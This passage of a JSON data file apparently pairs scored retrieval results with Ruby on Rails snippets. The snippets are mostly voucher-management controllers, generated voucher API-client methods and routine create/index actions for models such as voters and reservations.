\"active_till\"].each { |col|\n add_contition_and_param(@options[\"s_#{col}\".to_sym], @options[\"s_#{col}\".intern].to_s+\"%\", \"vouchers.#{col} LIKE ?\", cond, var) }\n\n if !@options[:s_credit_min].blank?\n cond << \"credit_with_vat >= ?\"; var << @options[:s_credit_min]\n end\n\n if !@options[:s_credit_max].blank?\n cond << \"credit_with_vat <= ?\"; var << @options[:s_credit_max]\n end\n\n if !@options[:s_curr].blank?\n cond << \"currency = ?\"; var << @options[:s_curr]\n end\n\n @total_vouchers = Voucher.count(:all, :conditions => [cond.join(\" AND \")]+var, :order => \"use_date DESC, active_till ASC\")\n MorLog.my_debug(\"TW: #{@total_vouchers}\")\n @options[:page] = @options[:page].to_i < 1 ? 1 : @options[:page].to_i\n @total_pages = (@total_vouchers.to_d / session[:items_per_page].to_d).ceil\n @options[:page] = @total_pages if @options[:page].to_i > @total_pages.to_i and @total_pages.to_i > 0\n @fpage = ((@options[:page] -1) * session[:items_per_page]).to_i\n\n @vouchers = Voucher.find(:all, :include => [:tax, :user], :conditions => [cond.join(\" AND \")]+var, :order => \"use_date DESC, active_till ASC\", :limit => \"#{@fpage}, #{session[:items_per_page].to_i}\")\n\n @search = 0\n @search = 1 if cond.length > 0\n\n @use_dates = Voucher.get_use_dates\n @active_tills = Voucher.get_active_tills\n @currencies = Voucher.get_currencies\n\n session[:vouchers_vouchers_options] = @options\n\n if params[:csv] and params[:csv].to_i > 0\n sep = Confline.get_value(\"CSV_Separator\", 0).to_s\n dec = Confline.get_value(\"CSV_Decimal\", 0).to_s\n @vouchers = Voucher.find(:all, :include => [:tax, :user], :conditions => [cond.join(\" AND \")]+var, :order => \"use_date DESC, active_till ASC\")\n csv_string = _(\"Active\")+sep+_(\"Number\")+sep+_(\"Tag\")+sep+_(\"Credit\")+sep + _(\"Credit_with_VAT\")+sep + _(\"Currency\")+sep + _(\"Use_date\")+sep + _(\"Active_till\")+sep + _(\"User\")\n csv_string += \"\\n\"\n for v in @vouchers\n # credit= nice_number v.get_tax.count_amount_without_tax(v.credit_with_vat)\n user = v.user\n active = 1\n active = 0 if v.use_date\n active = 0 if v.active_till.to_s < Time.now.to_s\n user ? nuser = nice_user(user) : nuser = \"\"\n\n csv_string += \"#{active.to_s}#{sep}#{v.number.to_s}#{sep}#{v.tag.to_s}#{sep}\"\n if can_see_finances?\n csv_string += \"#{nice_number(v.count_credit_with_vat).to_s.gsub(\".\", dec).to_s}#{sep}#{nice_number(v.credit_with_vat).to_s.gsub(\".\", dec).to_s}#{sep}#{v.currency}#{sep}\"\n end\n csv_string += \"#{nice_date_time v.use_date}#{sep}#{nice_date(v.active_till).to_s}#{sep}#{nuser}\"\n csv_string +=\"\\n\"\n end\n\n filename = \"Vouchers.csv\"\n if params[:test].to_i == 1\n render :text => csv_string\n else\n send_data(csv_string, :type => 'text/csv; charset=utf-8; header=present', :filename => filename)\n end\n end\n\n end", "title": "" }, { "docid": "ac5ede1886f5605179311dc8ceb22221", "score": "0.5597436", "text": "def create\n @voucher = Voucher.new(voucher_params)\n\n respond_to do |format|\n if @voucher.save\n format.html { redirect_to @voucher, notice: 'Voucher was successfully created.' }\n format.json { render :show, status: :created, location: @voucher }\n else\n format.html { render :new }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac5ede1886f5605179311dc8ceb22221", "score": "0.5597436", "text": "def create\n @voucher = Voucher.new(voucher_params)\n\n respond_to do |format|\n if @voucher.save\n format.html { redirect_to @voucher, notice: 'Voucher was successfully created.' }\n format.json { render :show, status: :created, location: @voucher }\n else\n format.html { render :new }\n format.json { render json: @voucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a318fea357a4f157da49db8a2440f565", "score": "0.5574922", "text": "def create\n RestClient.post \"#{@uri}/api/requests\", @data.to_json, :content_type => :json\n end", "title": "" }, { "docid": "0bfe2bede26fc36ec968629df9ad86d1", "score": "0.5564847", "text": "def create\n\n #to make testing and development work\n data = nil\n if Rails.env.test?\n data = params\n else\n data = JSON.parse(request.body.read)\n end\n\n\n #check if the vote already exists\n existing_vote = Vote.find_by(\n user_id: current_user.id,\n review_id: data[\"review_id\"]\n )\n\n if existing_vote\n #if it does, update the vote's up_down value\n existing_vote.update_attributes(up_down: data[\"up_down\"])\n render json: existing_vote, adapter: :json\n else\n #otherwise, create a new vote\n vote = Vote.new(\n review_id: data[\"review_id\"],\n user_id: current_user.id,\n up_down: data[\"up_down\"]\n )\n if vote.save\n render json: vote, adapter: :json\n else\n render json: vote.errors, adapter: :json\n end\n end\n end", "title": "" }, { "docid": "f6a8b3e65be02d59a4ab7b59c164d237", "score": "0.55391103", "text": "def expire_vouchers(opts = {})\n expire_vouchers_with_http_info(opts)\n nil\n end", "title": "" }, { "docid": "8c7321f93ffee4fe968c96acb9907088", "score": "0.55127466", "text": "def create\n @raider = Raider.new(raider_params)\n\n respond_to do |format|\n if @raider.save\n @raider.visits << Visit.new(date: Date.today)\n format.html { redirect_to root_url, notice: \"Okay #{@raider.name}, you have successfully registered. Go ride!\" }\n format.json { render :show, status: :created, location: @raider }\n else\n format.html { render :new }\n format.json { render json: @raider.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abb33d8a36e54b0597b0d28bdbb9296d", "score": "0.5511259", "text": "def expire_vouchers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VouchersApi.expire_vouchers ...'\n end\n # resource path\n local_var_path = '/campaigns/vouchers/expire'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'inline_object4']) \n\n # return_type\n return_type = opts[:return_type] \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VouchersApi#expire_vouchers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "75e75270be89a1b0c119cc48be22ebf9", "score": "0.55099654", "text": "def create\n @voter = Voter.new(params[:voter])\n\n respond_to do |format|\n if @voter.save\n format.html { redirect_to @voter, :notice => 'Voter was successfully created.' }\n format.json { render :json => @voter, :status => :created, :location => @voter }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @voter.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d6fecc8605f7fa98646d3f12b83a17d", "score": "0.5477344", "text": "def create\n c = Voter.new(name: params[:name], party: params[:party], token: ApiKey.create.token)\n if c.save\n render json: c\n else\n render json: c.errors\n end\n end", "title": "" }, { "docid": "daadba0641b8a08f2d81176f2cee9b21", "score": "0.54760414", "text": "def create\n @toucher = Toucher.new(params[:toucher])\n\n respond_to do |format|\n if @toucher.save\n format.html { redirect_to @toucher, notice: 'Toucher was successfully created.' }\n format.json { render json: @toucher, status: :created, location: @toucher }\n else\n format.html { render action: \"new\" }\n format.json { render json: @toucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a47664e293b7792d88f52bae5c95f906", "score": "0.5431328", "text": "def show\n @vouchers = Catering.find(params[:id]).vouchers\n end", "title": "" }, { "docid": "4128dc1c74b2829812e59586e6e90471", "score": "0.54264057", "text": "def create\n @voucher_request = VoucherRequest.new(voucher_request_params)\n\n respond_to do |format|\n if @voucher_request.save\n format.html { redirect_to @voucher_request, notice: 'Voucher request was successfully created.' }\n format.json { render :show, status: :created, location: @voucher_request }\n else\n format.html { render :new }\n format.json { render json: @voucher_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a841cab6c64148607400557c079be241", "score": "0.54170686", "text": "def create\n fruit = Fruit.new(params[:fruit])\n #fruits = Fruits.get(\"http://localhost:9292/fruits\", 'application/json').fruits\n #fruits << fruit\n\n fruit.post(\"http://localhost:9292/fruits\", 'application/json')\n #fruits.post(fruits.links[:self])\n redirect_to fruits_path, notice: \"May you have a mouthfull of #{fruit.name}\"\n end", "title": "" }, { "docid": "c871ddfb41b57af7a4c66a56fd9e81cb", "score": "0.5413635", "text": "def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend", "title": "" }, { "docid": "af44d84878f4213b13d1fb1b2b8c2597", "score": "0.5399611", "text": "def create\n @voter = Voter.new(params[:voter])\n\n respond_to do |format|\n if @voter.save\n format.html { redirect_to @voter, notice: 'Voter was successfully created.' }\n format.json { render json: @voter, status: :created, location: @voter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "627fc3776550c3780b756f52d670722a", "score": "0.53989875", "text": "def create_volunteer(request_id, volunteer_data, token)\n post \"/requests/#{request_id}/volunteers\",\n params: volunteer_data,\n headers: {\n \"authorization\" => \"bearer #{token}\"\n },\n as: :json\n res = JSON.parse(response.body)\n volunteer_id = res['id']\n return volunteer_id\n end", "title": "" }, { "docid": "7023107a9618a1342ece012c932c5d67", "score": "0.53717995", "text": "def assign_vouchers_to_customer_with_http_info(identifier, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CustomersApi.assign_vouchers_to_customer ...'\n end\n # verify the required parameter 'identifier' is set\n if @api_client.config.client_side_validation && identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'identifier' when calling CustomersApi.assign_vouchers_to_customer\"\n end\n # resource path\n local_var_path = '/customers/{identifier}/vouchers'.sub('{' + 'identifier' + '}', CGI.escape(identifier.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'inline_object1']) \n\n # return_type\n return_type = opts[:return_type] || 'Customer' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomersApi#assign_vouchers_to_customer\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a0e7cf1c5ddd2b9ea8755d79ec2a18bb", "score": "0.536271", "text": "def create\n @vocable = Vocable.create(vocable_params)\n respond_to do |format|\n format.js\n format.json {render json: @vocable}\n end\n\n\n end", "title": "" }, { "docid": "9cfd5c0f24d2d1b15132302bd4bd8901", "score": "0.5342605", "text": "def import_vouchers(id, opts = {})\n data, _status_code, _headers = import_vouchers_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "73f6d6704f052fd7ede25a23a11e7ff4", "score": "0.53411144", "text": "def create\n @voto = Voto.new(voto_params)\n\n if @voto.save\n render json: @voto, status: :created, location: @voto\n else\n render json: @voto.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4c9846df2f932b872546294c82558be6", "score": "0.53380954", "text": "def create\n @recruiter = Recruiter.new(recruiter_params)\n\n if @recruiter.save\n render json: @recruiter, status: :created, location: @recruiter\n else\n render json: @recruiter.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "915fbb17dc2f8a10b7230aba98558617", "score": "0.5311003", "text": "def create\n\n # Test issues\n @vote.user = current_user\n\n respond_to do |format|\n if @vote.save\n @vote.votable.reload\n\n format.json { render json: @vote, status: :created, location: @vote }\n format.js\n else\n format.json { render json: @vote.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "title": "" }, { "docid": "b40a4367a7d7188cb3edaa0d4338cffa", "score": "0.5309504", "text": "def index\n @vouchers = Voucher.page(params[:page]).per(50)\n end", "title": "" }, { "docid": "cca17c5264598873865f2b7a238167c3", "score": "0.53061855", "text": "def retailers\n call_api('/retailers')\n end", "title": "" }, { "docid": "372f25012d6a4a3ce2804ad469301782", "score": "0.52859855", "text": "def post(url, params={})\n url = '/' + url if url[0] != '/'\n url = Uber::BASE_URL + url\n result = RestClient.post url, params, {\"Authorization\" => \"Token #{token}\"}\n JSON.parse(result)\n end", "title": "" }, { "docid": "17401c2ea5e0ad337a30b1aeb496b63b", "score": "0.5280579", "text": "def postVoting(cardId, member)\n\tresponse = RestClient.post(\n\t\t\t'https://api.trello.com/1/cards/'+cardId+'/membersVoted',\n\t\t\t:value => member,\n\t\t\t:key => $key,\n\t\t\t:token => $token\n\t)\n\tresponse = JSON.parse(response)\nend", "title": "" }, { "docid": "3787d85b5a13f0fb4e6d8b995003372c", "score": "0.5275808", "text": "def create\n @voter = Voter.new(voter_params)\n\n respond_to do |format|\n if @voter.save\n format.html { redirect_to @voter, notice: 'Voter was successfully created.' }\n format.json { render :show, status: :created, location: @voter }\n else\n format.html { render :new }\n format.json { render json: @voter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3787d85b5a13f0fb4e6d8b995003372c", "score": "0.5275808", "text": "def create\n @voter = Voter.new(voter_params)\n\n respond_to do |format|\n if @voter.save\n format.html { redirect_to @voter, notice: 'Voter was successfully created.' }\n format.json { render :show, status: :created, location: @voter }\n else\n format.html { render :new }\n format.json { render json: @voter.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22201f22e629399ac67e583badeab894", "score": "0.5273797", "text": "def post_users_json payload\n\tJSON.parse ( rest_client_request :post, HF_URL, payload ).body\nend", "title": "" }, { "docid": "7c423ce31956a9357c618b574d50b91d", "score": "0.52629644", "text": "def create\n beer = Beer.create(beer_params)\n render json: beer\n end", "title": "" }, { "docid": "92008bad042579793da1bda239d95223", "score": "0.5249349", "text": "def create\n api.post('', nil, 'application/json')\n end", "title": "" }, { "docid": "9f9c906777131d09168204d599fe40bd", "score": "0.52394265", "text": "def viber_create(params={})\n VIBER.new(request(:post, \"viber/create/\", params.merge({})))\n end", "title": "" }, { "docid": "ffa6111010988815abea45616cc0c35b", "score": "0.52372587", "text": "def create\n @rendez_vou = RendezVou.new(rendez_vou_params)\n\n respond_to do |format|\n if @rendez_vou.save\n format.html { redirect_to @rendez_vou, notice: 'Rendez vou was successfully created.' }\n format.json { render :show, status: :created, location: @rendez_vou }\n else\n format.html { render :new }\n format.json { render json: @rendez_vou.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe81b6a44bbf798ef608f2d7d28ad889", "score": "0.5225363", "text": "def create\n @vendor = Vendor.create!(vendor_params)\n render json: Vendor.all\n end", "title": "" }, { "docid": "b6f32c3dbfce31da8983225b53526d72", "score": "0.5222575", "text": "def index\n @voters = Voter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @voters }\n end\n end", "title": "" }, { "docid": "928560f1ac5818ba48339fc28d367b19", "score": "0.5219271", "text": "def create\n\t\t@survivor = Survivor.new(survivor_params)\n\t\t@survivor.save!\n\t\tjson_response({ success: true, message: 'Survivor created', result: @survivor }, :created)\n\tend", "title": "" }, { "docid": "0d667b5dcb0b5e3cfc590b107099ba20", "score": "0.5208755", "text": "def index\n rents = Rent.where(:user_id => params[:user_id])\n render json: {:success => true, :api_token => @user.api_token, :rents=> JSON.parse(rents.to_json)}, status: 201\n end", "title": "" }, { "docid": "2f918b7e651e66cbcb7c5f572270730a", "score": "0.5204887", "text": "def create\n @reservation = Reservation.new(reservation_params)\n if @reservation.save\n render json: @reservation, status: :created, location: api_v1_reservation_url(@reservation)\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e7fa541b1d328adcbfbf0ef9d1bf42b4", "score": "0.5194794", "text": "def upvote\n paper = Paper.find(params[:id])\n paper.rating = paper.rating + 1\n paper.save\n paper_data = {\n paper: paper,\n user: paper.user,\n tags: paper.tags\n }\n render json: paper_data\n end", "title": "" }, { "docid": "06fd433f718c31d67e3abe1443f6aa9a", "score": "0.51816434", "text": "def create\n @vpost = Vpost.new(vpost_params)\n\n respond_to do |format|\n if @vpost.save\n format.html { redirect_to @vpost, notice: 'Vpost was successfully created.' }\n format.json { render action: 'show', status: :created, location: @vpost }\n else\n format.html { render action: 'new' }\n format.json { render json: @vpost.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c15568d1500a64af2361cb869bd3c519", "score": "0.5181362", "text": "def postCardMembersVoted(cardId, value)\n\n\thash = Hash.new\n\thash[:value] = value\n\thash[:key] = $key\n\thash[:token] = $token\t\n\n\tresponse = RestClient.post 'https://api.trello.com/1/cards/'+cardId+'/membersVoted', hash\n\tresponse = JSON.parse(response)\nend", "title": "" }, { "docid": "7ad703d8936babd051f60a791e7f3a55", "score": "0.5177177", "text": "def create\n @vereador = Vereador.new(params[:vereador])\n\n respond_to do |format|\n if @vereador.save\n format.html { redirect_to @vereador, notice: 'Vereador was successfully created.' }\n format.json { render json: @vereador, status: :created, location: @vereador }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vereador.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "876f89fd4995aa6be4f438fc53c93edb", "score": "0.517245", "text": "def rest_post(path, options = {}, api_ver = @api_version)\n rest_api(:post, path, options, api_ver)\n end", "title": "" }, { "docid": "876f89fd4995aa6be4f438fc53c93edb", "score": "0.517245", "text": "def rest_post(path, options = {}, api_ver = @api_version)\n rest_api(:post, path, options, api_ver)\n end", "title": "" }, { "docid": "f983228cf60bd905ccb8d155a99da655", "score": "0.5170374", "text": "def add\n return unless request.post?\n xml = LibXML::XML::Parser.parse(request.raw_post)\n @voters = xml.find(\"/voters/voter\").inject([]) do |voters, voter|\n cur_voter = Voter.create(:user_id => current_user.id)\n voter.find(\"features/feature\").each do |feature|\n Feature.create(:voter_id => cur_voter.id, :name => feature.attributes[\"name\"], :value => feature.content.to_i)\n end\n voters << cur_voter\n end\n end", "title": "" }, { "docid": "fab0b61d59635c6c7ed84df1765a31b4", "score": "0.5170333", "text": "def future_reservations\n method = \"futureReservations\"\n post_request(method)\n end", "title": "" }, { "docid": "fab0b61d59635c6c7ed84df1765a31b4", "score": "0.5170333", "text": "def future_reservations\n method = \"futureReservations\"\n post_request(method)\n end", "title": "" }, { "docid": "cbea1e95e4232dd63b2fc14fb0f742a9", "score": "0.5168001", "text": "def import_vouchers_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VouchersApi.import_vouchers ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling VouchersApi.import_vouchers\"\n end\n # resource path\n local_var_path = '/campaigns/{id}/vouchers/import'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n form_params['file'] = opts[:'file'] if !opts[:'file'].nil?\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse200' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: VouchersApi#import_vouchers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "01d2ee6745afb8ad53372d7defdc2e73", "score": "0.5166867", "text": "def index\n @redeemed_vouchers = RedeemedVoucher.all\n end", "title": "" }, { "docid": "30c931b493a797d3ed80bffbe9f2c26c", "score": "0.5164376", "text": "def create_booking(vin, account)\n url = 'https://www.car2go.com/api/v2.1/bookings'\n response = HTTParty.post(\n url + \"?format=json&loc=vancouver&vin=#{vin}&account=#{account}\",\n headers: {'Authorization' => auth_headers(url, :create_booking, vin: vin, account: account)}\n )\n\n\n response = response.parsed_response['booking'].first\n\n {address: response['bookingposition']['address'],\n time: Time.at(response['reservationTime']['timeInMillis'] / 1000),\n license_plate: response['vehicle']['numberPlate'],\n reservation_id: response['bookingId'],\n full_response: response }\n end", "title": "" }, { "docid": "8cd0f829e086c3d2c991fdc67b491ae8", "score": "0.51617265", "text": "def create\n @detail_voucher = DetailVoucher.new(detail_voucher_params)\n\n respond_to do |format|\n if @detail_voucher.save\n format.html { redirect_to @detail_voucher, notice: 'Detail voucher was successfully created.' }\n format.json { render :show, status: :created, location: @detail_voucher }\n else\n format.html { render :new }\n format.json { render json: @detail_voucher.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3fe5b4585ec9f67102e2ca1c263b465", "score": "0.51595956", "text": "def create\n @voyage = Voyage.new(params[:voyage])\n\n respond_to do |format|\n if @voyage.save\n format.html { redirect_to @voyage, notice: 'Voyage was successfully created.' }\n format.json { render json: @voyage, status: :created, location: @voyage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voyage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23764999421105031b1d8b26a9d126b4", "score": "0.5156257", "text": "def create\n @serie = resource_params\n if @serie.save\n render json: @serie\n else\n render json: @serie.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ce5fa7ba622b5177eaec1e9b196a7283", "score": "0.5152432", "text": "def update\n return redirect_to(walkup_sale_path(@showdate), :alert => \"You didn't select any vouchers to transfer.\") if params[:vouchers].blank?\n voucher_ids = params[:vouchers]\n begin\n vouchers = Voucher.find(voucher_ids)\n showdate = Showdate.find(params[:to_showdate])\n Voucher.change_showdate_multiple(vouchers, showdate, current_user)\n flash[:notice] = \"#{vouchers.length} vouchers transferred to #{showdate.printable_name}.\"\n rescue ActiveRecord::RecordNotFound, RuntimeError => e\n flash[:alert] = \"Error (NO changes were made): #{e.message}\"\n end\n redirect_to walkup_sale_path(@showdate)\n end", "title": "" }, { "docid": "30fc5638df58994cbb6de8e68624670f", "score": "0.5143118", "text": "def post_json(data, action)\n response = RestClient.post \"#{@url}/#{action}\", data.merge(@auth).to_json, :content_type => :json, :accept => :json\n response.body\n end", "title": "" }, { "docid": "e78aa3e5551b2145a276f163a2f58c7a", "score": "0.5142534", "text": "def create\n @poster = Poster.new(poster_params)\n\n if @poster.save\n render json: @poster, status: :created, location: @poster\n else\n render json: @poster.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "2cd0e23273f9840cc352a127016f2fdd", "score": "0.51381814", "text": "def create\n @voucher_row = VoucherRow.new(voucher_row_params)\n\n respond_to do |format|\n if @voucher_row.save\n format.html { redirect_to @voucher_row, notice: 'Voucher row was successfully created.' }\n format.json { render action: 'show', status: :created, location: @voucher_row }\n else\n format.html { render action: 'new' }\n format.json { render json: @voucher_row.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da8258266d530d9101141c436d8f5617", "score": "0.51381654", "text": "def create\n @venkat = Venkat.new(venkat_params)\n\n respond_to do |format|\n if @venkat.save\n format.html { redirect_to @venkat, notice: 'Venkat was successfully created.' }\n format.json { render :show, status: :created, location: @venkat }\n else\n format.html { render :new }\n format.json { render json: @venkat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d87992e3701ba0b9001c3b1774e1d76", "score": "0.513645", "text": "def index\n @detail_vouchers = DetailVoucher.all\n end", "title": "" }, { "docid": "ad5e89fc0d446420b822ff62a491127a", "score": "0.5136306", "text": "def create\n @batch = Batch.new(params[:batch])\n n = DVM::NewBase.new(defined?(Voucher.last.voucher) ? Voucher.last.voucher : nil)\n 1.upto(params[:batch][:quantity].to_i) do |number|\n n.next\n @batch.vouchers_attributes = [ { :voucher => n.value.dup, :status_id => 1 } ]\n end\n\n respond_to do |format|\n if @batch.save\n format.html { redirect_to @batch, notice: 'Lote criado com sucesso.' }\n format.json { render json: @batch, status: :created, location: @batch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @batch.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9b3731773d2dfc3f43a3f4e5a7afe8a", "score": "0.51306754", "text": "def create\n render json: Developer.create(params[\"developer\"])\n end", "title": "" }, { "docid": "bf6cb746f1e19fa5b488844a905b8cdf", "score": "0.51285017", "text": "def create\n @reserv = Reserv.new(params[:reserv])\n\n respond_to do |format|\n if @reserv.save\n format.html { redirect_to @reserv, notice: 'Reserv was successfully created.' }\n format.json { render json: @reserv, status: :created, location: @reserv }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reserv.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "737f58035fbf55317112f2418d246ea4", "score": "0.5120838", "text": "def create\n @user = User.find(params[:user_id])\n @room = @user.rooms.find(params[:room_id])\n @device = @room.devices.find(params[:device_device_id])\n @clicker = @device.create_clicker(clicker_params)\n @clicker.user_id = @room.user_id\n @clicker.room_id = @device.room_id\n @clicker.device_id = @device.device_id\n if @clicker.save\n render json: @clicker, status: :created\n else\n render json: @clicker.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "adecd631cdef03309d7330b33cb7f4b4", "score": "0.5119721", "text": "def create\n @envoyer = Envoyer.new(envoyer_params)\n\n respond_to do |format|\n if @envoyer.save\n format.html { redirect_to @envoyer, notice: 'Envoyer was successfully created.' }\n format.json { render :show, status: :created, location: @envoyer }\n else\n format.html { render :new }\n format.json { render json: @envoyer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9fef3887c45ed95f287d3cb5c9c2541c", "score": "0.51196396", "text": "def index\n @voters = Voter.all\n render json: @voters, include: '**'\nend", "title": "" }, { "docid": "f03c04379d5abe25519994d3440f28fa", "score": "0.51174617", "text": "def post_document(data)\n data = { :client => @client }.merge(data)\n respond self.class.post(api_path(\"documents\"), :body => data)\n end", "title": "" }, { "docid": "1eeadd4f88afed36b1a42e27cd916bfd", "score": "0.51157117", "text": "def create\n\t\t\t\t@sobreviventes = Survivor.new(sobreviventes_params)\n\t\t\t\tif @sobreviventes.save\n\t\t\t\t\trender json: {status: 'SUCCESSO', message:'Sobrevivente salvo', data:@sobreviventes},status: :ok\n\t\t\t\telse\n\t\t\t\t\trender json: {status: 'ERRO', message:'Sobrevivente nao salvo. Todos os parametros devem ser preenchidos.', data:\"Erro\"},status: :unprocessable_entity\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "c787beba1147c19c1c8dad0480e2df61", "score": "0.51128817", "text": "def create\n render json: Review.create(review_params)\n end", "title": "" }, { "docid": "6f527dc3fb099bef6f9c0f4ef422231b", "score": "0.5110168", "text": "def send(data)\n @couch.post('/'+@database, data.to_json)\n data\nend", "title": "" }, { "docid": "c3c154a015fa0a07e3bab5a5b573ebb6", "score": "0.51098984", "text": "def index \n if params[:owner][:device_id] || params[:owner][:apple_device_id]\n @owner.device_id = params[:owner][:device_id] if !params[:owner][:device_id].nil?\n @owner.apple_device_id = params[:owner][:apple_device_id] if !params[:owner][:apple_device_id].nil?\n @owner.save!\n end\n @reservations = @owner.restaurant.reservations\n @reservations_json = []\n @reservations.each do |r|\n ro = r\n r = r.as_json\n r[:quality] = ro.quality\n r[:start_time] = ro.start_time_format\n r[:end_time] = ro.end_time_format\n # %w{user_id}.each {|k| r.delete(k)}\n @reservations_json << r\n end\n \n respond_to do |format|\n unless @reservations.blank?\n format.json { render json: @reservations_json, status: 200 }\n else\n format.json { render json: \"No reservations yet\", status: 200 }\n end\n end\n end", "title": "" }, { "docid": "1201cbd0a7be7aba09ae8fb47ef5d045", "score": "0.5109432", "text": "def get_vouchers_with_http_info(campaign_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: VouchersApi.get_vouchers ...'\n end\n # verify the required parameter 'campaign_id' is set\n if @api_client.config.client_side_validation && campaign_id.nil?\n fail ArgumentError, \"Missing the required parameter 'campaign_id' when calling VouchersApi.get_vouchers\"\n end\n # resource path\n local_var_path = '/campaigns/{campaign_id}/vouchers'.sub('{' + 'campaign_id' + '}', CGI.escape(campaign_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Voucher>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n 